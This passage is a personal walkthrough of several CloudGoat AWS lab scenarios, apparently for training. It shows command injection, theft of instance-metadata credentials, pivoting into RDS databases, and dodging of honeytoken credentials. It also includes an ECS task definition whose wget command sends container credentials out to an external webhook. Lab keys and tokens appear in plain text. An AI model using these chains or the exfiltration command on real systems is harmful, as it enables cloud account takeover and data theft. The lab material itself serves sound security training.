aws logs get-log-events --log-group-name /aws/lambda/backend-api --log-stream-name '2023/08/31/[$LATEST]71be94270ddd4a359f06b08811701c42'
# {
# "events": [
# {
# "timestamp": 1693489820451,
# "message": "START RequestId: 672de708-f239-4315-9a42-1123bd1c8615 Version: $LATEST\n",
# "ingestionTime": 1693489823390
# },
# {
# "timestamp": 1693489820452,
# "message": "superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5\"}\n",
# "ingestionTime": 1693489823390
# }
# ]
# }
There go the flag! 🎉
Cleanup
Remove the changes from $HOME/.ssh/config
rm cicd_id_rsa
rm -rf backend-api
./cloudgoat.py destroy cicd
Hard
RCE Web App
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/rce_web_app/README.md
In this scenario there are two paths to attach “Lara” and “McDuck”. I will be taking the Lara path.
./cloudgoat.py create rce_web_app
# cloudgoat_output_lara_access_key_id = AKIAZ6IIT5XU5WP65Z6O
# cloudgoat_output_lara_secret_key = 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
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU5WP65Z6O
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU6PCMSDHZ3",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/lara"
# }
Permission check time
aws iam list-attached-user-policies --user-name lara
aws iam list-user-policies --user-name lara
# No Access
aws ec2 describe-instances
# {....}
aws s3 ls
# 2023-08-31 15:19:14 cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:14 cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:15 cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4
Were able to see EC2 instances and S3 buckets
Poking at the S3 buckets we can only view cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4
aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4
# PRE cg-lb-logs/
# Following the "path"
aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/
# PRE elasticloadbalancing/
# 2023-08-31 15:21:09 107 ELBAccessLogTestFile
aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/elasticloadbalancing/us-east-1/2019/06/19/
# 2023-08-31 15:19:15 18367 555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log
aws s3 cp s3://cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log cloudgoat_rce.log
Were able to find a log from the load balancer. From the log were able to get the load balancer address http://cg-lb-cgidp347lhz47g-1116874442.us-east-1.elb.amazonaws.com
. Additionally the file contains the targetgroup arn arn:aws:elasticloadbalancing:us-east-1:555555555555:targetgroup/cg-target-group-cgidp347lhz47g/a5700c43a71e4c94
, it might be a template based on the hard coded account id.
Domain does not seem to be active, maybe there both hard coded.
Verifying that running the following aws command it verifies that the domain name is different.
aws elbv2 describe-load-balancers
# cg-lb-rce-web-app-cgidsydjip4kt4-399610833.us-east-1.elb.amazonaws.com
Opening the website its real 🙏, maybe some of the paths from the log file.
favicon.ico
(Webpage icon)bootstrap.css
(CSS file)mkja1xijqf0abo1h9glg.html
(Hmmm)
When visiting http://cg-lb-rce-web-app-cgidsydjip4kt4-399610833.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.html
it has custom input field to put in our login command.
Putting in a shell command ls
and running it returns the contents of a linux filesystem.
On a quick search of the filesystem nothing is found, maybe we can steal AWS credentials from the metadata server.
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-ec2-role-rce_web_app_cgidsydjip4kt4
curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidsydjip4kt4/
# {...}
Bingo we got new credentials from the role. Lets move them to our local shell and see what access we not have.
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XURHFGLFEL
export AWS_SECRET_ACCESS_KEY=2yXk4AbYhW5/1I9st25Nd3by654uRy4Jg22Z/njX
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEBQaCXVzLWVhc3QtMSJHMEUCIBKGWCE7pkDw1JW5fVCzEOuN4L3Gs2j3H8Udr/0qE4UGAiEAxAal1HdNW+plvP+B5T3k9pRr5YoxKuTrN5zE4kv8oFYqwgUI3f//////////ARACGgw2ODM0NTQ3NTQyODEiDOmZx3u9n95HKUOAFiqWBY3CKrWQBCC0TVdup5sKTDTOByOCo3QALDWC5YEPumPRkM6qI52pUrtS+r2OZcmXNhlL81DgHRw1QlA/mbdEgnxYdQ9h9+GD++R3DiNSf/0iM2P2u04q91oy+tSiTYJMIUIssWoRv7XMqdivmdxKvjTsazljqfNLb1IF2LEugOjv1h2SHeE+vRj2aba/MvnIpSfNGjFQ4OdxbADlWrIGpt9LGBK54YJHWML1rCJM7CpboEajjz9G66vgr9fwWCisOkHcZzSdDS90Xbr1RQOpEWNF0ohYQXfQCnzDHpne16EhveEN97c1y87zKk581/SzU6BO8BzptP2d6anWTE+vn54JOjxeeOW3NdqcfoqnRKVzjth3yQoct/n3tub0HQstuTrYx3M4hJz3TYXdNCeJRFBqk85fWoXF0T7G+20d93AxaYXodBXvKrEmvHxQchQyUAqPYC2YAi4K5LewcSvhP4lM8i0ODYx+U2cGM8B/klyMtNy5la02bs3/U71J7EK6R8uFF1+Xvt1m0TcnTjvj4toVeyKPnQ+EbQC2CiEQ5o2+CfPHTA6kfVs559LlUaelVeV3UU9JQ9X9694CUcIysG3WDS/SzbqWARC1iQARTgMLlT38DvLYpJpUzC7kQluPm9F9kyhwlLV5UXkTH5psC1z2CA2KmFMjeU6myDZjyrDPXWCrFbqg4/Jz4EF0gLhKRNaNgVwcchwOZDJbS7IJRrAxisM/hCLnVL2kmblfCuBVT78TndV4fZySuaKsFAl4k7WTBn2kHYYoCykaYB9vGDonMV9be7QeDC0N9aJ5ZVRng+zcvMlBQHVb92bml0iqQ+FnzKObRpslS/JGYncXh9Af9bMSs6WhvTDW/CwSLV492iX/SB69MN7Rw6cGOrEBk8WA6ByHj/FoTUYHCwxXl5GDV6BQujmHf0FjTMufJufvpYL6TNzgJl2P8pXCw8YiTovEY/2Sr38uFbl86aN0Z0zdwMijwxQFu18VgPo8kjxON3JRlhLn5ytHTnesiDXm4X7TETnwKOGdZTvC2Z5g/dAhq6ouYnLnIofaQrHio6+odCeioijMM5/+WFQeuTysRjr38QjanftFarGnpe1sHqc6G4JXEPFgyzPEVZKyiu2o
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XU54ZQLYLYV:i-0c9ca8a8252a2f626",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-rce_web_app_cgidsydjip4kt4/i-0c9ca8a8252a2f626"
# }
aws iam list-attached-role-policies --role-name cg-ec2-role-rce_web_app_cgidsydjip4kt4
# Nope
aws ec2 describe-instances
# Get all servers
aws rds describe-db-clusters
# Nope
aws s3 ls '{...}'
Were able to now view all of the files in the buckets.
aws s3 ls cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:16 282 db.txt
aws s3 cp s3://cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4/db.txt cloudgoat_db.txt
cat cloudgoat_db.txt
# Dear Tomas - For the LAST TIME, here are the database credentials. Save them to your password manager, and delete this file when you've done so! This is definitely in breach of our security policies!!!!
# DB name: cloudgoat
# Username: cgadmin
# Password: Purplepwny2029
# Sincerely,
# Lara
Mmmm credentials
Whats in the other bucket
aws s3 ls cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:15 3389 cloudgoat
# 2023-08-31 15:19:15 748 cloudgoat.pub
aws s3 cp s3://cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4/cloudgoat cloudgoat_cloudgoat.key
cat cloudgoat_cloudgoat.key
# Private Key
This seems to be another way to access to server that we exploited with the RCE.
Lets try to connect to the RDS server. We don’t know the endpoint for the database… (Was trying aws rds describe-db-clusters
)
aws rds describe-db-instances
# "Address": "cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com"
PGPASSWORD=Purplepwny2029 psql -h cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d cloudgoat -U cgadmin
Times out, it looks like we have to be in the same network.
With the private key we stole from S3 lets try SSHing into the web server.
chmod 400 cloudgoat_cloudgoat.key
ssh [email protected] -i cloudgoat_cloudgoat.key
PGPASSWORD=Purplepwny2029 psql -h cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d cloudgoat -U cgadmin
# cloudgoat=>
Sweet we now have a connection to the database
To list tables run the postgres command \dt
this lists all tables.
List of relations
Schema | Name | Type | Owner
--------+-----------------------+-------+---------
public | sensitive_information | table | cgadmin
(1 row)
Lets list all the secrets 😋
SELECT * FROM sensitive_information;
name | value
-----------------------+----------------------------
Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)
Use \q
to exit
Cleaup
rm cloudgoat_cloudgoat.key cloudgoat_db.txt cloudgoat_rce.log
./cloudgoat.py destroy rce_web_app
CodeBuild Secrets
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/codebuild_secrets/README.md
./cloudgoat.py create codebuild_secrets
# cloudgoat_output_solo_access_key_id = AKIAZ6IIT5XU4ABDWNMT
# cloudgoat_output_solo_secret_key = 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
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU4ABDWNMT
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU25PFYOWV7",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/solo"
# }
Enumeration time
aws iam list-attached-user-policies --user-name solo
aws iam list-user-policies --user-name solo
# No Access
aws ec2 describe-instances
# "InstanceId": "i-02f93531fde363427"
# "PublicIpAddress": "54.174.182.46"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-instance-profile-codebuild_secrets_cgidqzqvluvj2d"
aws codebuild list-projects
# {
# "projects": [
# "cg-codebuild-codebuild_secrets_cgidqzqvluvj2d"
# ]
# }
Lets look into the CodeBuild project more
aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgidqzqvluvj2d
# "environmentVariables": [
# {
# "name": "calrissian-aws-access-key",
# "value": "AKIAZ6IIT5XUZ6Q372EF",
# "type": "PLAINTEXT"
# },
# {
# "name": "calrissian-aws-secret-key",
# "value": "bGWrVopD4bzloVyBwPfzsNVxXTlew3Rf1TTYBtTC",
# "type": "PLAINTEXT"
# }
# ]
Time to pivot
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUZ6Q372EF
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUUEX3LKAVD",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/calrissian"
# }
aws rds describe-db-instances
# "DBInstanceIdentifier": "cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d"
# "MasterUsername": "cgadmin"
# "Address": "cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com"
Note that there is another way to get the keys by creating another DB that we have credentials for. The path is simallar to to CloudGoat RDS Snapshot.
Back in the solo shell
aws ssm describe-parameters
# "Name": "cg-ec2-private-key-codebuild_secrets_cgidqzqvluvj2d"
# "Name": "cg-ec2-public-key-codebuild_secrets_cgidqzqvluvj2d"
aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidqzqvluvj2d
# "-----BEGIN OPENSSH PRIVATE KEY-----.....
# Put the key into a file
# chmod 400 cloudgoat_codebuild.key
ssh [email protected] -i cloudgoat_codebuild.key
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-ec2-role-codebuild_secrets_cgidqzqvluvj2d
curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-codebuild_secrets_cgidqzqvluvj2d/
# {...}
Bring the credentials back to our machine
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU3VTV5ROL
export AWS_SECRET_ACCESS_KEY=tH/D4FsFNgAQQ6PKZHrQZDVAC92PoKnxKFQGoaD7
export AWS_SESSION_TOKEN=IQoJb3JpZ2lu......yP8WMIR1zZaio=
aws lambda list-functions
# "FunctionName": "cg-lambda-codebuild_secrets_cgidqzqvluvj2d"
# "Environment": {
# "Variables": {
# "DB_USER": "cgadmin",
# "DB_NAME": "securedb",
# "DB_PASSWORD": "wagrrrrwwgahhhhwwwrrggawwwwwwrr"
# }
# }
Back to our SSH terminal
psql -h cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d securedb -U cgadmin
# Password for user cgadmin: *wagrrrrwwgahhhhwwwrrggawwwwwwrr*
# securedb=>
\dt
# Schema | Name | Type | Owner
# --------+-----------------------+-------+---------
# public | sensitive_information | table | cgadmin
SELECT * FROM sensitive_information;
# name | value
# ------+--------------------------------------------
# Key1 | V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4
# Key2 | V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6
Were done!
Side note but we could also get the flags from the EC2 user-data. That cheating
Cleaup
rm cloudgoat_codebuild.key
./cloudgoat.py destroy codebuild_secrets
Detection Evasion
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/detection_evasion/README.md
./cloudgoat.py create detection_evasion
# Give an email for alerts
# user1_access_key_id = AKIAZ6IIT5XU544BKPGO
# user1_secret_key = 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
# user2_access_key_id = AKIAZ6IIT5XURJH7PA4H
# user2_secret_key = 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
# user3_access_key_id = AKIAZ6IIT5XU7WVVI3UJ
# user3_secret_key = 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
# user4_access_key_id = AKIAZ6IIT5XU3ZUVTRET
# user4_secret_key = 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
Oooo thats a lot of access keys…
Wait 30-60 minutes before working on the scenario 💀
Lets start with the user1 credentials
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU544BKPGO
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUWCWRKSEVU",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/canarytokens.com@@kz9r8ouqnhve4zs1yi4bzspzz"
# }
Welp looks like that may have been a trap, canarytokens are used to alert when something gets accessed.
Lets try another user (user2)
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XURJH7PA4H
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUY2TOOZKS6",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/SpaceCrab/l_salander"
# }
Ahh SpaceCrab another honeypot tool, next (user3)
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU7WVVI3UJ
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUXCBE7BYJF",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/cd1fceca-e751-4c1b-83e4-78d309063830"
# }
Does not emidatly look like a honeypot. (Edit: it is a spacesiren token) Lets try to check for permissions.
Did not find any easy permissions lets look at the last user (user4)
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU3ZUVTRET
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XURZZSN27F6",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/r_waterhouse"
# }
aws secretsmanager list-secrets
# "ARN": "arn:aws:secretsmanager:us-east-1:0123456789:secret:detection_evasion_cgidtx0yaufckc_easy_secret-wTUWWB"
# "Description": "This is the final secret for the 'easy' path of the detection_evasion cloudgoat scenario."
# "ARN": "arn:aws:secretsmanager:us-east-1:0123456789:secret:detection_evasion_cgidtx0yaufckc_hard_secret-v2RUEa"
# "Description": "This is the final secret for the 'hard' path of the detection_evasion cloudgoat scenario."
aws ec2 describe-instances
# easy_path-cg-detection-evasion
# "InstanceId": "i-0a5662a1841f2e249"
# "PublicIpAddress": "54.157.178.32"
# "Arn": "arn:aws:iam::0123456789:instance-profile/detection_evasion_cgidtx0yaufckc_easy"
# hard_path-cg-detection-evasion
# "InstanceId": "i-073e279bd36edb486"
# "PrivateIpAddress": "3.84.104.50"
# "Arn": "arn:aws:iam::0123456789:instance-profile/detection_evasion_cgidtx0yaufckc_hard"
Lets look at the hard path, because I can always chicken out and switch to easy.
aws secretsmanager get-secret-value --secret-id detection_evasion_cgidtx0yaufckc_hard_secret-v2RUEa
# No Access
aws ssm start-session --target i-073e279bd36edb486
# sh-4.2$
We got a shell lets grab creds from the metadata server
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# detection_evasion_cgidtx0yaufckc_hard
curl 169.254.169.254/latest/meta-data/iam/security-credentials/detection_evasion_cgidtx0yaufckc_hard/
# {...}
Lets bring the keys back to our machine
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUUAINVOVF
export AWS_SECRET_ACCESS_KEY=15hywCoo47wDVgYFJ7Tz6Sciqr0/6FYAVmluKtqP
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECoaCXVzLWVhc3QtMSJHMEUCIQDQJL1doj+Lpq2PRRJ2lUFkW8x+/rZkeUM45RxVx/MkqAIgZwbEzuGlqCDmDroypySVgMcJk8nw+t7iWRRWfbLQtjkqwwUI8///////////ARACGgw2ODM0NTQ3NTQyODEiDGJ/AmEgNPugwm6yKCqXBSnMfYXCGrByVnn+gipDFkxOO4ip451fkli1JipSt3M0f1gLYjjgSVaPBQAImtam01WnfeAsSIWWQrg8lwASnu2pAHmH3RWYPD0vvyWEtO1mWtQ6omwmAE9MlDNIx5m9lZ7iS2qTSdLnRSfb31CqRCCJOFPGsuuBV8KUWDBJXQRpnefPCMHBBJ1n/T/ORC5iIllgYK1fWN9mqG5S40QjZkDceaGV1G9esS3p0FGs/fDPoYy+F7p6vU1ti5tNRrg6pcnokv+6pHUNuWDa/gYzFhQnVBRcN4PR/7h9SnpPbsiOdWfnml5SuYyi7ndkMHBo78kgqpSBRBSDfBMNW3PB/MOJgBE3Neq1jj9m/xknzFPLqoS9EjK3+vxqi2NkbPWZx7ge8mzScVY8hUUcUy97TsYke5sjjyksIKuGX21ZurkfUiwZnomux7uMt194ouyiDKGX+DIAas8fs++uATVbXmIUzg5HeTgDN4CuPJ5EFuMauu4E/OyCnx1K1l0JLgcn3iDEvjuNCdpiQKoPrw8eUT3Uc4iLP7jYnAH6h4fxYTSQTsM9p2QGnGwqIyhPFINLgZkiZojSR8eJM3dsSMXTpH4u25dX/68NBitzhjdEyvkWbKxcD5u8I479v1BbKTt3TZeRRPZIYX34O+X9PJoJOwUII2xFPbxAMfEhSKlmP2UXVV3J6LlpDKZq3WJGSoCrM+YgnyEvEWJxo9DKc5rM32MwNp36t84Y9i1pahtf40SPU9P2Ez9gHul8rVhIZ1/8wkAJwfFXB8taPikHfCoR3nVFZkrG2z/y9p3Fuq8TmC8Ezjd2ZBitnQNsUV+oLonqnrrlhfPa9ZNWcPpBL83H9c0fyWZnm4B5hsoxVqxWmjJ0W7J75tQtBDCgxMinBjqxAcQL2TBSsg2vFAa5+TrdDQVUaqlWoRF1FTifqhryZiN833Z4pJIlSAwcE9xk9DHoACJFgGBn9X/NPRYfvYOwqkZMD/NCjHUQRWc+5gFN8k48GsDx9mAS/by2NM7bC5NSxsCm3JyMV70YjFj64OD8d+GLbRK7kVbFbTz1nECygkcN0JPFDaEm81W3LSEanBQlIZmMtnjiq0L/2uGhaqEvBGt2Llf/VemPArsaLFWQ3eITuw==
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUTVMAFRREV:i-073e279bd36edb486",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/detection_evasion_cgidtx0yaufckc_hard/i-073e279bd36edb486"
# }
Tryed to retrieve the secret from my local machine set off a alert because it was not coming from inside AWS.
Doing some digging (ref) into this we need to spoof our AWS IP address to be the same 3.84.104.50. That sounds like a lot of work, lets switch to the easy path.
# user4
aws ssm start-session --target i-0a5662a1841f2e249
# sh-4.2$
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# detection_evasion_cgidtx0yaufckc_easy
curl 169.254.169.254/latest/meta-data/iam/security-credentials/detection_evasion_cgidtx0yaufckc_easy/
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUTZWPPAF4
export AWS_SECRET_ACCESS_KEY=evGXX265UJuX0PkRYtBIwFLKXw3Jx8BWisBPT8fs
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECoaCXVzLWVhc3QtMSJHMEUCIHgNE3/ztA2Zg6y2mwqh4kqUxqTsMA0OYUFo0PPojLlCAiEAnXL80ofvUMptp+eJRbkZRvpu0vVS2C00ILRCoJtTbEcqxAUI8///////////ARACGgw2ODM0NTQ3NTQyODEiDBuAi5myy4BxRJ2qrSqYBTnGH4GyNGkSTdjiz9Z4dfDvWlseZm79o4PQCsVXm5c81Auzdr8O9ajsvFyd6nH80onL/BU/a6Lo7vtSpBLZVJ1VZJFWqbPIl8V/3grtDpxhWtTxNiygwjfEg45/BGx6ewC3uTtijlvXDM6O7gMx8YU168r1XJrMepdLKiLgZ5WJPsP8KD6X3Y3rG/XPai8EyS0I7xvB9UFtNCjr+og4DJd3DNqS7Cg2/rtFBpx8eUQMPMDsSSNlVv4IzhoCn4EKJL6OA+EZButWrb0bDpcyBRAUICeX1MATwRkEM/2f62ZrjQN1QJgmmOOSvkjbNmu7oJ7WtuXLfWjJUNdeTWj5i/EYwpD7tj+ziUChiobBIcrR37HCweKAkUI/+zGA20hSHMyENnUK5833yVK90XxPx4vsU1pEmsHiRbu4eHQSELMP2FXGFAq9eQj06IeIbsmeKUn0r59OrGBlby5etY3nGgbAKPyQkW/z+efV0SHsWHtTZsNVhHILVDaJeabfazoXqmmVGqUfSY4gwEbgKIWcLPhJeZ8lRPk7btSXMJIlbsKwDgD6glyRewkeHRgvJyhHpvJ5pEeiHiz3pNd4tn0NJoBZCkz5a05WJQ5DUv3/tZSUw8+ix0ESRz8A8IFL9lb+adTBSp1pco0hn45mivX0P3A1vLIDT/1CSFz9iojgwzhV+ovxPgKv1pXjP+8tCgIFa2moJOqlQu45bXrLUg7LOdMGZSHhHqrardxzjGzrTuCH0RPJ/8dzaBVPR8i/Mlsn4niGBA6MKDvutvop1uNnZWE/L1JpDMdsclDOUAarVvYvcYeKAt8G4O4CYOjrjauPcd7etbT0CMOP9qdr6ArGfD9bpshqr90Z59cigGr6ApMrM0cdQ/Ka65sw18fIpwY6sQGm1qBwJoytsiB3OJB+0ymCWUHYiZlZCEwPFMund2Q3i/kv6T1d7WJIc+zf/wdcArJNxRhHaDbArzCCXEgYYrxwEg4Az9bVCjRT5HPNvZ7rwN+2y2J/ImaZKKqQP5/iADXJEUwC7k6Hf09I5kLQO7c36eU0FMntrj4t69KSrV4IgnL+N2GwJf1vvaysKRQw9r6IfQcbGrZy43VuPHs0aVqESwwOa+paGeCwmIzKA1iTMts=
aws secretsmanager get-secret-value --secret-id detection_evasion_cgidtx0yaufckc_easy_secret-wTUWWB
# No access
Probably have to do it from the EC2 server
sudo yum install -y awscli
# .....
It does not have internet access ug. The module seems broken, let me go fix that…
I have an open PR to fix this issue, there was no internet gateway in the VPC so all out bound communication will not work.
Cleaup
./cloudgoat.py destroy detection_evasion
ECS EFS Attack
https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/ecs_efs_attack
./cloudgoat.py create ecs_efs_attack
# ruse_box_IP = 54.242.220.178
# ssh_command = ssh -i cloudgoat ubuntu@\54.242.220.178
chmod 600 ecs_efs_attack_cgidc5gnv28rje/cloudgoat
ssh [email protected] -i ecs_efs_attack_cgidc5gnv28rje/cloudgoat
# ubuntu@ip-10-10-10-110:~$
From the server lets enumirate the AWS credentials
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XU2GVVQMWIP:i-042fff5ccb55f5c75",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje/i-042fff5ccb55f5c75"
# }
aws iam list-roles
# cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje
# cg-lambda-role-ecs_efs_attack_cgidc5gnv28rje
aws iam list-role-policies --role-name cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# None
aws iam list-attached-role-policies --role-name cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# AmazonSSMManagedInstanceCore
# cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje
aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"ecs:Describe*",
"ecs:List*",
"ecs:RegisterTaskDefinition",
"ecs:UpdateService",
"iam:PassRole",
"iam:List*",
"iam:Get*",
"ec2:CreateTags",
"ec2:DescribeInstances",
"ec2:DescribeImages",
"ec2:DescribeTags",
"ec2:DescribeSnapshots"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "VisualEditor0"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-09-03T21:43:56+00:00"
}
}
What I notice with the policy is that it might allow the changing of iam roles on a ECS service through task definition.
Lets first look at ECS & EC2 resources
aws ec2 describe-instances
# "cg-admin-ec2-ecs_efs_attack_cgidc5gnv28rje"
# "InstanceId": "i-0163945fb3d1622be"
# "PublicIpAddress": "54.225.61.89"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-efs-admin-instance-profile-ecs_efs_attack_cgidc5gnv28rje"
# # Our Server
# "cg-ruse-ec2-ecs_efs_attack_cgidc5gnv28rje"
# "ImageId": "ami-0a313d6098716f372"
# "PublicIpAddress": "54.242.220.178"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ecsTaskExecutionRole-instance-profile-ecs_efs_attack_cgidc5gnv28rje"
aws ecs list-clusters
# "clusterArns": [
# "arn:aws:ecs:us-east-1:0123456789:cluster/cg-cluster-ecs_efs_attack_cgidc5gnv28rje"
# ]
aws ecs list-task-definitions
# "taskDefinitionArns": [
# "arn:aws:ecs:us-east-1:0123456789:task-definition/webapp:2"
# ]
Lets update a running task definition that will capture the credentials of the task.
Find which clusters how nodes one them
aws ecs list-container-instances --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje
# Service 1
# 1 Running task
First create a file (cloudgoat_ecs_efs_attack_creds.json
) with the following json
{
"containerDefinitions": [
{
"name": "webapp",
"image": "busybox",
"cpu": 128,
"memory": 128,
"memoryReservation": 64,
"portMappings": [
{
"containerPort": 80,
"hostPort": 80,
"protocol": "tcp"
}
],
"essential": true,
"command": [],
"entryPoint": [
"/bin/sh",
"-c",
"wget -O- --header='Content-Type:application/json' https://webhook.site/931d6922-0c4c-4002-8afe-f41330b03b12 --post-data=`wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)`"
],
"environment": [],
"mountPoints": [],
"volumesFrom": []
}
],
"family": "webapp",
"taskRoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
"executionRoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
"networkMode": "awsvpc",
"cpu": "256",
"memory": "512"
}
I created a free webhook with https://webhook.site.
The command that will be run will steal the metadata credentials and then send them to the webhook. Note passing in arguments you cannot use curl for some reason and the metadata endpoint is different then for EC2 instances.
Then create a new task definition revision and upate the service
aws ecs register-task-definition --cli-input-json file://cloudgoat_ecs_efs_attack_creds.json
aws ecs list-services --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje
# {
# "serviceArns": [
# "arn:aws:ecs:us-east-1:0123456789:service/cg-cluster-ecs_efs_attack_cgidc5gnv28rje/cg-webapp-ecs_efs_attack_cgidc5gnv28rje"
# ]
# }
aws ecs update-service --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje --service cg-webapp-ecs_efs_attack_cgidc5gnv28rje --task-definition webapp:3
Now we wait for the service to deploy the new revision.
Bang we got some credentials from the webhook
{
"RoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
"AccessKeyId": "ASIAZ6IIT5XU2TT3KVL7",
"SecretAccessKey": "7D5kwTcb0jidNyFAh2wD5AZzXEE04hg9IRVdoab8",
